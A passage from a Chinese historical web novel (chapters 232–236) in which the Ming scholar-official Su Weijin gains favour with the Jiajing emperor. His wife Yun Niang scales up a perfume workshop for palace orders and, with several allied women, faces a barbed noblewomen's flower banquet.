明处的荣耀与赏赐固然可喜,但暗处的权柄与实利,才是立身之本。
边镇捷报是机会,他必须抓住,将影响力延伸到更实际的领域。
第232章 帝心大悦,赏赐纷至
嘉靖帝的好心情,如同正月里难得的暖阳,持续照耀着西苑永寿宫。
加封鹤岑为“通玄翊化**”的旨意一下,厚赏紧随而至,真真是道号煊赫,恩宠备至。
皇帝甚至私下对黄锦感慨:
“有鹤岑**在侧,朕如得一窥天机之镜,心甚安之。”
这消息简直就是在滚油里泼进一瓢冷水,瞬间在朝堂上下炸开了锅。
翌日早朝,奉天殿内。
百官序立,山呼万岁毕,气氛便透着几分诡异的凝重。
果然,没等御座上的嘉靖帝开口询问常事,
都给事中夏言便率先出班,
这位以刚直敢言著称的清流领袖,手持玉笏,声如洪钟:
“陛下!臣闻陛下加封方士鹤岑,赏赐无算,臣以为大为不妥!”
他开门见山,丝毫不绕弯子。
“夫天子当敬天法祖,修德行政,则天自佑之,何须假手于怪力乱神?
鹤岑其人,来历不明,妄言兵戈,虽偶中一事,安知非巧合或另有隐情?
此等方技之徒,授以高爵厚禄,恐开幸进之门,惑乱圣听,败坏士风!
乞陛下收回成命,逐此妖人,以正视听!”
夏言话音未落,另一道声音紧接着响起,
却是来自“大礼议”新贵、礼部侍郎张璁。
他出班奏对,语气看似比夏言温和,言辞却更为犀利:
“陛下,夏给事中所言,虽言辞激切,然臣细思,亦不无道理。
鹤岑预言边事,固然有功,然酬以金银足矣。
‘通玄翊化’之号,关乎朝廷名器,岂可轻授方外之人?
且臣闻,近日京中多有阿谀之辈,
竞相奔走于其门下,称其为‘活神仙’,
此风若长,置朝廷法度于何地?
置孔孟圣贤于何地?
望陛下三思,勿使方术凌驾于朝纲之上!”
紧接着,武定侯郭勋也慢悠悠地踱了出来。
他身为勋贵代表,与邵元节素有往来,
此刻自然要替“自己人”发声,顺便打压一下这个突然冒出来的竞争者:
“陛下,老臣是个粗人,不懂什么大道理。
只是觉得,这打仗的事儿,靠的是将士用命,疆场拼杀。
一个老道在京城里动动嘴皮子,就能顶得上边关儿郎的血汗功劳了?
这赏赐是不是太重了些?
别寒了将士们的心啊!”
清流、新贵、勋戚,这三股平日里互相看不顺眼的势力,此刻竟同仇敌忾,将矛头齐齐对准了鹤岑。
殿内气氛顿时紧张起来,不少官员暗暗点头,觉得这鹤岑确实风头太盛,该压一压了。
御座之上,嘉靖帝的脸色渐渐沉了下来。
他年轻气盛,最不喜臣下干涉其“崇道”之举,
尤其这鹤岑刚刚证明了自己的“价值”,在他心中正是“祥瑞”的代表。
这些人的攻讦,在他听来,不仅是质疑鹤岑,更是质疑他这位天子的眼光和权威!
他目光冷冷扫过下方,尤其在夏言、张璁、郭勋脸上停留片刻,心中愠怒渐生。
而在这片喧嚣中,翰林院队列里,
身着青袍的苏惟瑾,却化身激流中的礁石,眼观鼻,鼻观心,沉默不语。
显然眼前这场因他一手策划而起的风波,与他毫无干系。
他的低调,反而引起了有心人的注意。
几个深知他与鹤岑几乎同时“简在帝心”的官员,不免偷偷打量,却只见他面色平静,无波无澜。
嘉靖帝强压着火气,没有当场发作,只淡淡道:
“朕知道了。
鹤岑**之事,朕自有主张。
诸位臣工若无他事,便退朝吧。”
一场针对鹤岑的围剿,看似被皇帝强行压了下去,但谁都看得出,水面下的暗流愈发汹涌。
退朝的钟声响起,百官依次鱼贯而出。
苏惟瑾却不急着离开,他故意落在后面,待大部分官员散去,才不疾不徐地转道通政司,递上了一份早已准备好的奏章。
奏章内容并非什么军国大事,而是关于在甘肃等地推广种植枣树,以固沙养土、兼济军民的条陈。
里面详细阐述了枣树耐旱、耐贫瘠的特性,
其果实可充军粮、可易货,
其木材亦有用处,
甚至引用了一些《齐民要术》中的记载,
并用“格物致知”的道理,
论证了植被恢复对水土保持的重要性。
通篇务实,数据详实,逻辑清晰,与他方才在朝堂上的沉默判若两人。
这份奏章,很快便被送到了心情尚未完全平复的嘉靖帝案头。
皇帝原本正为早朝的争执心烦,随手翻开苏惟瑾的奏章,起初并未在意。
但看着看着,眉头渐渐舒展开来。
条陈中没有任何虚言,全是干货,
将一件利国利民的好事说得明白透彻,
尤其是结合刚刚发生的甘肃战事,
提出“战后安抚,民生为要”,“以草木之利,固边疆之土”,正说到了他的心坎上。
“这个苏惟瑾……”
嘉靖帝喃喃自语,脸上终于露出一丝真切的笑意。
“不争不抢,倒是做实事的。”
对比方才朝堂上那些只会唱高调、攻讦异己的臣子,
苏惟瑾这份及时雨般的务实奏章,显得尤为可贵。
“召翰林院侍读苏惟瑾,西苑见驾。”
皇帝放下奏章,吩咐道。
西苑,玉熙宫内。
嘉靖帝心情明显好转,甚至颇有兴致地让内侍取来了那日灯会上苏惟瑾进献的“万象镜”(万花筒)和一支正在使用的“凝香烛”。
“惟瑾啊,”
皇帝把玩着万象镜,看着里面变幻无穷的瑰丽图案,好奇问道。
“此等巧思,实非凡俗。
还有这凝香烛,光洁无烟,暗香盈室,其中莫非真有道家格物之妙理?”
苏惟瑾躬身应答,态度谦逊至极:
“陛下圣明。
臣愚见,天地万物,莫不有理。
这万象镜,不过是利用光线折射与镜面成像之公理,
窥见秩序中之斑斓变幻,
正如道生一,一生万物,看似繁复,实则有其根本法则。
至于
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凝香烛,无非是选取纯净脂膏,
改进凝制之法,佐以提纯之花露精华,
使其燃烧更尽,烟火气少,香气乃草木自然之魂,合乎天人感应之道。
臣不过是偶有所得,拾前人牙慧,略加改进罢了。”
他巧妙地将光学原理、化学提纯等现代知识,
用“格致”、“公理”、“天人感应”等儒家、道家话语体系包装起来,
既显得高深莫测,又不离经叛道。
嘉靖帝听得连连点头,他本就崇信道教,喜好玄理,苏惟瑾这番说辞,简直挠到了他的痒处。
既肯定了“物有其理”,又将其拔高到了“道”的层面,
比那些空谈仁义道德或一味反对“奇技淫巧”的臣子,不知高明了多少。
“格物之才,亦通天道。
惟瑾,你果然未曾让朕失望。”
嘉靖帝抚须赞道,眼中欣赏之意更浓。
这才是他需要的人才,既能处理实务,又懂得“天道”,还不卷入无聊的党争。
圣眷,在此刻再度悄然加深。
更实际的奖赏接踵而至。
就在苏惟瑾被皇帝召见后不久,
宫里尚衣监、司设监的太监,
便主动寻到了“云裳阁”,态度客气得让沈香君都有些受宠若惊。
来的是一位面白无须、说话带着笑音的太监管事:
“沈东家,咱家奉上头吩咐,来看看您这儿的凝香烛,还有那……嗯,苏氏香露。
宫里贵人用了,都说好,想着定制一批,专供大内使用。
这用料、品相,可得是顶好的!”
皇家认证!
这意味着什么?
意味着“云裳阁”的产品得到了最高标准的肯定!
意味着从此以后,京中乃至天下的权贵富户,
都会以使用“云裳阁”的香品为风尚!
这简直就是一块金字招牌,其带来的隐形利益,远超订单本身的价值。
沈香君强压下心中的激动,
应对得滴水不漏,既表现了荣幸,又保证了品质,
还不卑不亢地商定了价格,展现了极高的商业素养。
消息传回苏府,芸娘看着宫里送来的定金单子,手都有些发抖。
周大山更是咧着嘴直笑:
“公子,这下咱们可是抱上最粗的大腿了!”
苏惟瑾却只是淡淡一笑,仿似早已料到。
超频大脑冷静地分析着:
名利双收的局面已然打开,但危机也随之而来。
宫里的订单是机遇,也是巨大的考验,品质、供应、保密,任何一环出错,都是灭顶之灾。
而且,今日朝堂上那场未成功的**,说明对手绝不会善罢甘休。
鹤岑是他重要的暗棋,如今被推到风口浪尖,邵元节、张璁等人,下一步会如何出招?
他走到书案前,目光落在了一本刚刚送来的、关于近年来各地灾异奏报的汇总文书上。
“树欲静而风不止……”
他轻声自语,嘴角却勾起一抹若有若无的弧度。
“既然要斗,那便看看,谁更能‘通晓天机’吧。”
第233章 芸娘扬眉,文萱折服
宫里采买“凝香烛”和“苏氏香露”的消息,
好比在平静的湖面投下巨石,涟漪瞬间扩及整个京城权贵圈。
那带着宫廷印记的订单,不仅是金灿灿的钱流,更是一张无声却分量千钧的认证文书。
“云裳阁”门前,一时间车马如龙。
往日还需沈香君费心维持的人脉关系,如今颠倒过来。
各府邸的管家、有头脸的嬷嬷,
乃至一些低阶官员的家眷,
都揣着银票,陪着笑脸,
希望能多订上几支凝香烛,
或是侥幸求得一瓶那传说中的“苏香”露。
订单如雪片般飞来,沈香君面上笑意盈盈,应对得体,心下却暗自叫苦。
原先那小作坊的产量,便是供应京中贵妇圈子都捉襟见肘,
现今加上宫里的定额,简直是杯水车薪。
压力,最终传导到了苏府后宅那间僻静的工作坊。
芸娘看着沈香君递来的长长订单列表,
以及宫里要求的交货日期,纤细的手指微微蜷紧。
她不是不知外面的风光,更明白这风光背后,
是夫君为她撑起的一片天,也是交到她手上的一份沉甸甸的责任。
“沈姐姐,”
芸娘抬起眼,目光里虽仍有怯意,却多了一股前所未有的坚定。
“坊间人手、物料,怕是要尽快添置了。”
沈香君看着眼前这个依旧穿着素净、眉宇间却少了些许惶惑的小妇人,心中讶异。
她原以为芸娘会手足无措,或是全盘依赖她来想办法。
“夫人说的是。”
沈香君收敛心神,正色道。
“只是这招募人手,须得绝对可靠,香露配方乃核心之秘,万不可泄露。
还有原料采买,品质需得统一,量大了,难免鱼龙混杂……”
“我晓得。”
芸娘轻轻打断她,从袖中取出一张写满娟秀小字的纸。
“这是我这几日想的章程,沈姐姐看看是否可行。”
沈香君接过细看,越看越是心惊。
纸上条陈清晰:
一、招募女工,优先选取家世清白、邻里口碑佳的妇人或寡居女子,需有保人,签订严契,初入坊只做外围粗活。
二、将制香流程分拆,蒸馏、冷凝、调配、装瓶,各司其职,核心步骤由芸娘带着两个绝对心腹完成。
三、原料采买,分由三家以上供货,每次入库,需她或沈香君亲自抽验。
四、设立奖惩,做工精细、守口如瓶者,月钱之外另有厚赏;
若有泄密或偷懒,立时解雇,并追究保人。
这哪里是个只知灶台女红的内宅妇人能想出的法子?
分明已是颇通管理之道的商家手段!
虽略显稚嫩,却环环相扣,直指要害。
沈香君看向芸娘的目光,彻底变了。
那点因对方出身而残存的轻视,
此刻烟消云散,取而代之的是一种混杂着佩服与警惕的复杂情绪。
这位苏夫人,绝非表面看去那般简单。
“夫人思虑周详,香君佩服。”
她由衷赞道:“便按此章程办理。”
接下来的日子,苏府后门悄然热闹起来。
芸娘抛却了初时的羞涩,亲自面试招募来的女工,温言细语间,却将规矩交代得清清楚楚。
她坐镇作坊,监督每一道工序,对香露的成色、气味要求近乎苛刻。
那单薄的身影里,竟爆发出惊人的韧性与条理。
原本有些杂乱无章的作坊,很快变得井井有条,效率倍增。
连苏惟瑾某日偶然路过,看到芸娘指挥若定、细查物料账册的模样,眼中也掠过一丝惊讶与赞赏。
他的小芸娘,正在他开辟的这片新天地里,悄然绽放。
当第一批供应宫里的香露和凝香烛如期交付,品质甚至远超预期时,“苏氏香露”的名头达到了顶峰。
它不仅是最新潮的奢侈品,更成了身份与品味的象征。
这日,赵文萱与王雪茹联袂来访。
与上次花厅会面时那若有似无的轻视不同,这一次,两人的态度发生了微妙的变化。
花厅内,芸娘依旧是一身淡雅的藕荷色襦裙,
发间只簪一支素银簪子,
气色却比新婚时红润了许多,
眼神沉静,唇角带着温婉却不再卑微的笑意。
赵文萱今日穿了一身雨过天青色的缎子袄裙,更衬得气质清冷。
她目光扫过厅角鎏金香炉里袅袅升起的、属于凝香烛的清雅兰香,
又落在芸娘身上,语气带着一丝不易察觉的叹服:
“芸娘姐姐,”
这一次,“姐姐”二字叫得自然了许多,
“日前家母得亲友赠予,内有‘苏氏香露’一瓶,香气清幽持久,层次分明,绝非寻常花露可比。
听闻此物乃姐姐亲手调制?
姐姐竟有如此巧思慧心,将这草木之魂凝练至此,妹妹……真心佩服。”
她这番话,并非全然客套。
她自幼饱读诗书,于琴棋书画、品香插花皆有涉猎,自认眼界不俗。
但这“苏氏香露”的精妙,确实超出了她的认知,
那是一种将自然香气提炼到极致的美,
由不得她不承认芸娘在这方面的过人之处。
芸娘浅浅一笑,亲手为赵文萱斟了杯热茶:
“文萱妹妹过誉了。
不过是些笨功夫,反复试验罢了。
妹妹书香门
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第,见识广博,我这点微末伎俩,不值一提。”
谦逊依旧,却不再妄自菲薄。
王雪茹则直接得多。
她今日依旧是一身利落的打扮,
进门就闻到芸娘身上那若有似无、
与她使用的略有不同的淡雅梅香,眼睛一亮,
几步凑到芸娘身边,拉着她的袖子,
语气带着熟稔的抱怨:
“芸娘!你可不够意思!
有这样的好东西,宫里都有了,我们这些自家人倒落在后头!
我不管,下批新香出来,可得先紧着我!
多少钱你说!”
她说着,还拿起桌上作为样品的一小瓶蔷薇露,爱不释手地把玩。
她那句“自家人”,说得自然而然,
仿佛忘了当初是谁在洞房花烛夜借酒消愁。
芸娘知她性子直率,并无坏心,便也笑着应承:
“好好好,定给王妹妹留着。”
看着芸娘从容应对,温婉中透着自信,
赵文萱端起茶盏,借氤氲的热气掩去眼底一丝复杂的黯然。
她不得不承认,这个她曾经有些轻视的“糟糠之妻”,
正以其独有的方式,在苏惟瑾的世界里站稳脚跟,
甚至发出了属于自己的光芒。
这份凭借双手挣来的尊重,比任何虚名都更有分量。
王雪茹大大咧咧,只觉得芸娘比以前顺眼多了,会做好东西就是本事!
她心里琢磨着,怎么从芸娘这儿多挖点新品,
顺便……多打听点苏大哥的消息。
而此刻的“云裳阁”后院,沈香君正对着新到的账本,嘴角含笑,眼底却清明冷静。
芸娘的成长出乎她的意料,这让她合作的信心更足,
但也让她心底那点关于苏惟瑾的隐秘心思,更难以按捺。
如此男子,身边岂会只有一妻?
芸娘虽好,却未必能独占……
芸娘送走赵、王二女,独自站在庭院中,
深深吸了口气,空气中仿佛还残留着香露的余韵。
她低头看了看自己因连日忙碌略显粗糙的手指,心中却一片踏实。
她明白,这不仅仅是香露的成功,更是她找到了属于自己的位置。
这是丈夫为她开辟的战场,而她,没有让他失望。
内宅的暗涌暂平,芸娘凭实力赢得了初步的尊重。
然而,树大招风,“苏氏香露”带来的泼天富贵,
以及它与宫廷、与那位简在帝心的苏状元千丝万缕的联系,真的能一直这般顺遂吗?
芸娘抚了抚微凸的小腹,近日的嗜睡与反胃让她隐隐有了猜测,心中既喜且忧。
这突如其来的消息,是该立刻告诉夫君,还是再等等?
第234章 陆府递请柬,芸娘心惶惑
第234章陆府递请柬,芸娘心惶惑
苏府后宅的香露作坊,如今已是另一番气象。
原先逼仄的屋子扩成了三间通联,
里面人影绰绰,却秩序井然。
蒸馏铜壶咕嘟作响,冷凝管下滴着清液,
空气里混杂着各种花香,却不显杂乱。
芸娘系着素布围裙,正低头查验新一批蔷薇露的成色,
指尖沾了些许在鼻端细嗅,眉宇间是全神贯注的专注。
“夫人,这批次颜色透亮,香气也正。”
一个被提拔起来管事的媳妇子笑着回话。
芸娘点点头,温声道:
“李婶儿费心了,装瓶时再仔细些,莫混了。”
她话音未落,贴身丫鬟秋月脚步匆匆地从外面进来,
脸上带着几分不同寻常的紧张,
手里捧着一张泥金帖子,低声道:
“夫人,门房刚收到的……是锦衣卫陆炳陆大人家送来的。”
“陆府?”
芸娘手一抖,差点打翻手边的瓷瓶。她脸色微白,接过那帖子。
触手是上好的撒金笺,带着隐隐冷香。
翻开,里面是一手簪花小楷,清秀中透着一股不容置疑的矜贵:
“谨詹于本月廿五,寒舍小园薄具春茗,恭请苏夫人玉趾光临。陆清晏顿首。”
落款处,只有一个清雅的名讳,却重若千钧。
陆炳!锦衣卫指挥使!
天子亲军头领,掌握诏狱,权势熏天,可止小儿夜啼的人物!
他的妹妹陆清晏,那可是真正的侯门千金,京城顶级的闺秀。
自己什么出身?
靠着夫君才得以立足的寒门妇,何德何能,竟能接到她的请柬?
巨大的惶恐如同冰水,瞬间浇灭了方才管理作坊带来的那点微末自信。
芸娘只觉得手脚冰凉,那帖子烫手得很。
“她……她为何会请我?”
芸娘声音带着不易察觉的颤抖。
“我……我什么都不懂,去了只怕……只怕会丢了夫君的脸面,惹出祸事来。”
她仿佛已经看到自己在那些高门贵女面前,
举止失措,言谈粗鄙,成为众人暗中讥笑的对象,
最后连累得夫君在朝堂上被人攻讦。
“嫂子,怎么了?”
清脆的声音传来,是苏婉抱着两本书从隔壁小书房过来。
她如今除了跟着请来的女先生识字,
也常来作坊帮衬,小脸上褪去了不少稚气,多了几分沉静。
她见芸娘脸色不对,又看到秋月手中的泥金帖,心下明了几分。
芸娘将请柬递给苏婉,眼圈微红:
“婉儿,你看……这陆家小姐的赏花宴,我……我该如何是好?”
苏婉接过帖子仔细看了,小眉头也蹙了起来。
她虽年纪小,但在京城这几个月,
耳濡目染,也深知陆家的权势意味着什么。
这请柬,是机遇,更是烫手的山芋。
她握住芸娘冰凉的手,语气坚定:
“嫂子,别怕!这是好事啊!
陆家小姐请你,说明咱们家,说明哥哥,如今在京里是真正立住了!
她们看得起咱们,才递帖子呢!”
“可是……我……”
“没有可是!”
苏婉打断她,黑白分明的大眼睛里闪着光。
“嫂子,你忘了你是怎么把香露作坊管起来的?
那些刚开始什么都不懂的女工,如今不都被你调理得服服帖帖?
那些难缠的供货商,你不也应对下来了?
你比你自己想的要厉害得多!”
她晃了晃手中的《女诫》和一本杂记。
“先生说了,人敬我一尺,我敬人一丈。
咱们不卑不亢,守礼数,不出错,谁也不能把咱们怎么样!
哥哥平日里不也常说,遇事莫慌,静心细想么?”
芸娘看着小姑子稚嫩却坚定的脸庞,
听着她条理分明的话语,慌乱的心竟奇异地安定了几分。
是啊,她不能永远躲在夫君的羽翼下,她得学着站起来。
“那……此事,要不要告诉你哥哥?”
芸娘犹豫道。她本能地想寻求丈夫的庇护。
苏婉却摇了摇头,眼中闪过一丝与她年龄不符的机敏:
“哥哥近日朝中事务繁忙,
皇帝青睐有加,又引得不少人眼红,
咱们后宅的事,若能自己解决,
就不必去烦扰他。
也让哥哥看看,咱们不是那等只会依赖他的柔弱女子。”
她凑近芸娘耳边,压低声音:
“咱们可以先打听打听这位陆
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小姐的喜好、性子,
再准备些得体的礼物,比如咱们新制的、外面还没有的‘雪中春信’香露样品。
到时候见机行事便是。”
芸娘看着苏婉,心中感慨万千。
昔日需要她护着的小丫头,如今已能独当一面,成为她的臂助了。
她深吸一口气,用力回握苏婉的手:
“好,婉儿,听你的。咱们……自己来。”
姑嫂二人当下便悄悄商议起来,
如何回帖,准备什么衣饰,带哪些随从,
又将那“雪中春信”香露的样品精心包装好。
然而,她们并不知道,前院书房里,苏惟瑾正听着周大山的低声禀报。
“公子,陆府确实给夫人送了赏花宴的帖子。是陆家那位清晏小姐的名义。”
苏惟瑾放下手中的书卷,眼中掠过一丝深思。
陆炳……这位天子近臣,手握锦衣卫,权势滔天,其妹突然递帖,绝不仅仅是闺阁交际那么简单。
是陆炳的试探?
还是嘉靖帝借陆清晏之手,进一步观察他苏惟瑾的家室?
亦或是,与近日鹤岑得宠、自己圣眷渐浓有关?
超频大脑飞速运转,将各种可能性一一推演。
“知道了。”
他语气平淡。
“夫人那边,什么反应?”
“夫人初时有些惊慌,与婉儿小姐商议后,决定自行应对,暂不惊动公子。”
苏惟瑾闻言,嘴角微微勾起一抹不易察觉的弧度。
芸娘的惶恐在他意料之中,
但她与婉儿决定自行应对,却让他有些意外,更多的是欣慰。
他的小芸娘,和他的妹妹,都在成长。
“由她们去吧。”
苏惟瑾重新拿起书卷,语气带着一丝纵容。
“暗中留意即可,非必要,不必插手。”
他倒要看看,他的妻子和妹妹,能在这京城贵女的圈子里,走出怎样一步棋。
这既是她们的考验,或许,也能成为他窥探陆炳,乃至皇帝心意的一个窗口。
后宅女子间的风雅宴饮,其下隐藏的,往往是前朝权力的暗流。
芸娘握着那份回好的帖子,手心依旧微微出汗。
她知道,踏入陆府,将是另一场无声的战役。
而她,绝不能输。
第235章 姐妹急聚首,智囊定策略
第235章姐妹急聚首,智囊定策略
陆府那张泥金请柬,像块烧红的烙铁,烫得芸娘坐立难安。
与苏婉商议半日,虽定了自行应对的主意,
可具体如何应对,两人对着那华贵帖子,依旧是老鼠拉龟——无处下手。
“嫂子,”
苏婉拧着秀气的眉毛,忽地眼睛一亮,拍手道:
“咱们自己琢磨不透,何不请几位姐姐来一同参详?
文萱姐姐见识广,雪茹姐姐性子直爽消息灵通,香君姐姐最懂人情往来!
三个臭皮匠,还顶个诸葛亮呢!”
芸娘闻言,心头阴霾仿佛被撕开一道口子,透进光来。
是了,往日虽因夫君之故,与这几女相处总有些微妙的隔阂,
但此刻,她们或许是唯一能帮到自己的人。
她们各有长处,且……或多或少,都与夫君有些关联,在这事上,利益暂且一致。
“好!婉儿,快去下帖子,请她们过府一叙,就说……我有要事相商。”
芸娘当机立断,那份管理作坊历练出的决断,此刻显了出来。
帖子送去不过一个时辰,赵文萱、王雪茹、沈香君便先后到了苏府。
她们心下也好奇,芸娘何事如此急切。
花厅里,茶水甫一奉上,
芸娘便没有半分隐瞒,将那张陆清晏的请柬取出,放在桌上,
语气带着显而易见的惶惑:
“几位妹妹,今日请你们来,实是因这事关重大,
我……我心中实在没底,特请妹妹们帮我拿个主意。”
三女目光落在那泥金帖子上。
“陆清晏”三字映入眼帘,神色皆是一凛。
王雪茹最先咋舌:
“嚯!陆家那位眼高于顶的大小姐?
她竟会给嫂子你下帖子?”
她性子直,话出口才觉不妥,忙又道:
“我不是那意思,我是说……这陆府门第太高,这宴无好宴啊!”
赵文萱拿起请柬细细看过,清冷的眸子看向芸娘,多了几分郑重:
“芸娘姐姐不必过于忧心。
陆清晏此人,我虽未深交,亦有耳闻。
她出身侯门,自幼聪颖,心气极高,等闲人入不得她眼。
她既下帖,未必是恶意,或是对苏大人……以及姐姐你,存了几分好奇。”
她顿了顿,语气肯定。
“此宴,必须去。
不仅要去,还要去得得体,不能坠了苏大人的名声。”
沈香君轻抚着腕间沉香珠串,唇角含着一丝洞察世情的浅笑:
“陆家小姐的赏花宴,京中多少闺秀求一帖而不得。
姐姐得此帖,是风波,亦是机缘。
关键在于,如何将这风波化为机缘。”
她看向芸娘,“姐姐且说说,你担忧何事?”
芸娘见三人并未因往日微妙而袖手旁观,
反而立刻进入状态,心中暖流涌动,
胆子也壮了些,便将担忧一一道出:
怕礼仪不周,怕言谈粗鄙,怕无人理睬冷场,更怕因自己之故给夫君招惹麻烦。
“原来姐姐是忧心这些。”
赵文萱微微一笑,成竹在胸。
“礼仪之事,不难。
我观姐姐言行,本已温婉有礼,只需稍加调整一些京中高门惯用的细节即可。
这两日我可为姐姐细细分说。”
王雪茹立刻拍着胸脯:
“打听消息包在我身上!
陆清晏喜欢什么花、爱听什么曲、平日里跟哪些人家的小姐来往多,我这就派人去打听!
还有那些可能赴宴的闺秀,哪些是笑面虎,哪些是直肠子,我都给嫂子你摸清楚!”
沈香君则道:
“服饰妆奁,乃至备礼,姐姐交给我。
既要符合身份,又不能过于奢靡惹人议论,更要投其所好。
我听闻陆小姐性喜清雅,不尚奢华,那‘雪中春信’香露正是恰到好处。
我再为姐姐搭配一身看似素净、实则用料做工极讲究的衣饰,既不张扬,又能体现品味。”
三人你一言我一语,顷刻间便将芸娘的担忧拆解殆尽,
并迅速分工,形成了一个以芸娘为核心,
赵文萱负责礼仪谈吐、王雪茹负责情报支撑、沈香君负责外在包装的临时“智囊团”。
连苏婉也在旁边拿着小本子,飞快记录要点。
这一刻,往昔那点因苏惟瑾而起的女儿家心思,在共同应对“外敌”的
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压力下,
悄然淡化,一种奇妙的战友情谊在四人之间滋生。
赵文萱甚至亲自示范如何行走、
如何执盏、如何与不同身份的人寒暄,
她那大家闺秀的风范,让芸娘受益匪浅。
王雪茹打探来的消息也源源不断送来:
陆清晏酷爱梅花,擅弈棋,不喜人阿谀,与宫中某位太妃关系亲近……
沈香君更是亲自盯着人开了库房,
挑选料子,为芸娘量身改制衣裳,
那眼光之毒辣,搭配之精妙,连赵文萱看了都暗自点头。
最后,王雪茹大手一挥:
“嫂子一个人去,我们还不放心呢!
到时候我们陪你一起去!
互相有个照应,看谁敢欺负你!”
这提议立刻得到赵文萱和沈香君的赞同。
四人同行,声势自是不同。
这番动静,自然瞒不过前院的苏惟瑾。
周大山低声禀报着后宅几位女子连日来的“紧急集训”,以及她们打算组团赴宴的计划。
苏惟瑾负手立于窗前,看着庭院中刚刚吐露新芽的垂柳,嘴角缓缓勾起一抹欣慰的笑意。
超频大脑能推演万千权谋,却算不尽这女儿家间微妙的情谊与团结。
芸娘的惶恐在他意料之中,
但她能放下心结,求助赵、王、沈三女,
而三女也能摒弃前嫌,倾力相助,这却是他未曾料到的惊喜。
他的后院,似乎并非他想像中那般脆弱,反而在压力下,显露出一种韧性与智慧。
“告诉夫人,她们所需一切,府中尽可支取。”
苏惟瑾吩咐道,语气温和。
“另外,大山,陆府赏花宴那日,你带几个机灵可靠的好手,远远跟着,确保夫人她们万无一失。”
“是,公子!”
周大山领命而去。
苏惟瑾目光重新投向窗外,眼神渐深。
女眷们的联谊,往往是前朝关系的映射。
陆清晏此举,究竟是少女好奇,还是代表了其兄陆炳,乃至……宫里的某种态度?
芸娘她们此番“团体作战”,能否**关?
而这看似风雅的赏花宴背后,又是否隐藏着其他波澜?
第236章 赏花宴风波,芸娘巧应对
第236章赏花宴风波,芸娘初展芒,暗流终汹涌
二月廿五,陆府后园。
早春的寒意被暖棚与众多炭盆驱散,园中老梅虬枝如铁,
红白花瓣在微风中簌簌落下,
清冷的暗香与贵女们身上昂贵的名香交织,
却织不破那层区分阶级的无形之网。
巳时三刻,已是冠盖云集。
阁老孙女、尚书千金、侯府明珠……
个个锦衣华服,言笑晏晏间,目光流转俱是打量与衡量。
少数几位新晋官员的女眷,如履薄冰地缀在边缘,努力模仿着核心圈的做派,却总显得格格不入。
芸娘一行人的到来,似一颗投入看似平静湖面的石子,瞬间激起了层层涟漪。
在沈香君的巧手打造下,
芸娘身着雨过天青色素面杭绸褙子,
下系月白暗纹织金马面裙,
发间仅一枚通体无瑕的羊脂玉兰簪,
耳坠两粒小指腹大小的莹润珍珠。
全身上下无一丝繁复绣纹,
却因面料极致的温润光泽与剪裁含蓄的高贵气度,
在满园锦绣中反倒脱颖而出,成就了一种“低调的奢华”。
赵文萱气质清冷如雪中寒梅,
王雪茹英气爽利如出鞘宝剑,
沈香君妩媚干练如盛世海棠,
她们如三位各具特色的**,默契地簇拥着居中温婉宁静的芸娘。
这奇特而和谐的组合,瞬间吸引了所有目光,探究、好奇、轻视……种种视线交织而来。
“那位便是苏状元的原配?瞧着气度,倒不似小门小户出身……”
“哼,沐猴而冠罢了。
也不知使了什么手段,竟让赵家小姐、王家姑娘作陪?”
“沈东家倒是好手腕,这巴结的功夫,京中怕是无人能及。”
细碎如蚊蚋的议论,在暖香中嗡嗡作响,毫不避讳地传入几人耳中。
主人陆清晏今日一身绯色缕金梅花纹宫装,雍容华贵中透着一丝凌厉。
她缓步迎上前,目光在芸娘身上停留一瞬,
眼底闪过一丝极快的讶异,随即被完美的礼仪笑容掩盖:
“苏夫人肯赏光,蓬荜生辉。
这几位妹妹亦是稀客,快请入座。”
举止无可挑剔,但那源自门第与权势的居高临下,依旧若有似无地弥漫开来。
孙海棠,工部给事中之女。
她以“助兴”为名,笑吟吟提议行“花令”,需以梅为题,依次接续诗词,接不上者罚酒三杯。
此举意图明显,直指传闻中“不通文墨”的芸娘。
孙小姐言笑间,眼角眉梢带着掩不住的得意,
周围几位与她交好的小姐也纷纷附和,目光若有似无地瞟向芸娘,等着看她出丑。
王雪茹眉头一拧,便要发作。
赵文萱刚欲开口代为接令,芸娘却在桌下轻轻按了按她的手。
只见芸娘从容起身,执起酒杯,面向陆清晏及众人,柔声道:
“陆小姐,各位姐姐妹妹才思敏捷,妾身万分钦佩。
只是于诗词一道,妾身确实粗浅,若强行附庸风雅,恐污了诸位清听。
这罚酒,妾身便先饮为敬,权当抛砖引玉,也为这满园梅花添一份豪气。”
说罢,她姿态优雅,连饮三杯,面色依旧温婉从容,毫无窘迫之态。
她坦然承认不足,反其道而行之,以退为进,显得光风霁月。
那孙小姐一拳打在棉花上,面色悻悻,周围准备看笑话的人也略感无趣。
一直冷眼旁观的安平郡主轻笑一声,嗓音带着皇室特有的娇慵与刻薄:
“苏夫人倒是爽快人。
不过,光喝酒有何趣味?
听闻苏夫人擅制香露,能将那商贾铜臭之物,也做得风雅别致。
本郡主好奇的是,苏大人身为清流状元,是如何看待内眷操持此等‘贱业’的?
莫非……苏府的门庭,竟需主母抛头露面、经营商铺来维持了么?”
此言一出,满场皆静!
这话恶毒至极!不仅公然贬低芸娘出身,
将其引以为傲的制香手艺斥为“贱业”,
更是直指苏惟瑾治家无方、品行有亏,甚至影射其经济拮据!
这简直是泼向夫妻二人乃至整个苏府门楣的一盆脏水!
王雪茹气得脸色涨红,拳头紧握。
赵文萱面色冷凝如冰,周身寒气四溢。
沈香君亦蹙紧眉头,脑中飞速思考如何化解这涉及“士农工商”阶级根本的刁难。
芸娘的心脏猛地一缩,指尖瞬间冰凉。
她感受到四面八方投射来的目光,如同针扎。
她知道,此刻任何愤怒或苍白的辩解,都可能落入圈套,坐实污名。
赵文萱率先开口,声音清越,如碎玉投冰:
“郡主此言差矣。
《周礼·考工记》有云,‘百工之事,皆圣人之作也’。
神农教耕,嫘祖育蚕,皆非贱业。
夫人制香,取其精华,去其糟粕,惠及众人,正是格物致知之理,何来铜臭之说?
莫非郡主认为,上古圣人之举,亦是不堪?”
她引经据典,直接将制香提升到“圣人之道”的高度,以其人之道还治其人之身。
沈香君紧接着嫣然一笑,姿态从容:
“郡主久居深宫,或许不知。
如今京中顶尖的闺阁夫人、名门淑女,皆以使用苏夫人调制的香露为雅事。
此物取材自然,炼制繁复,一滴凝聚天地灵气,早已脱离寻常商贾范畴,乃是风雅之物。
妾身的‘云裳阁’能得夫人授权售卖,乃是沾了风雅的光呢。”
她巧妙地将香露与“顶级风尚”绑定,消解了“贱业”的指控。
安平郡主被两人连番反驳,脸色微沉,正要强词夺理。
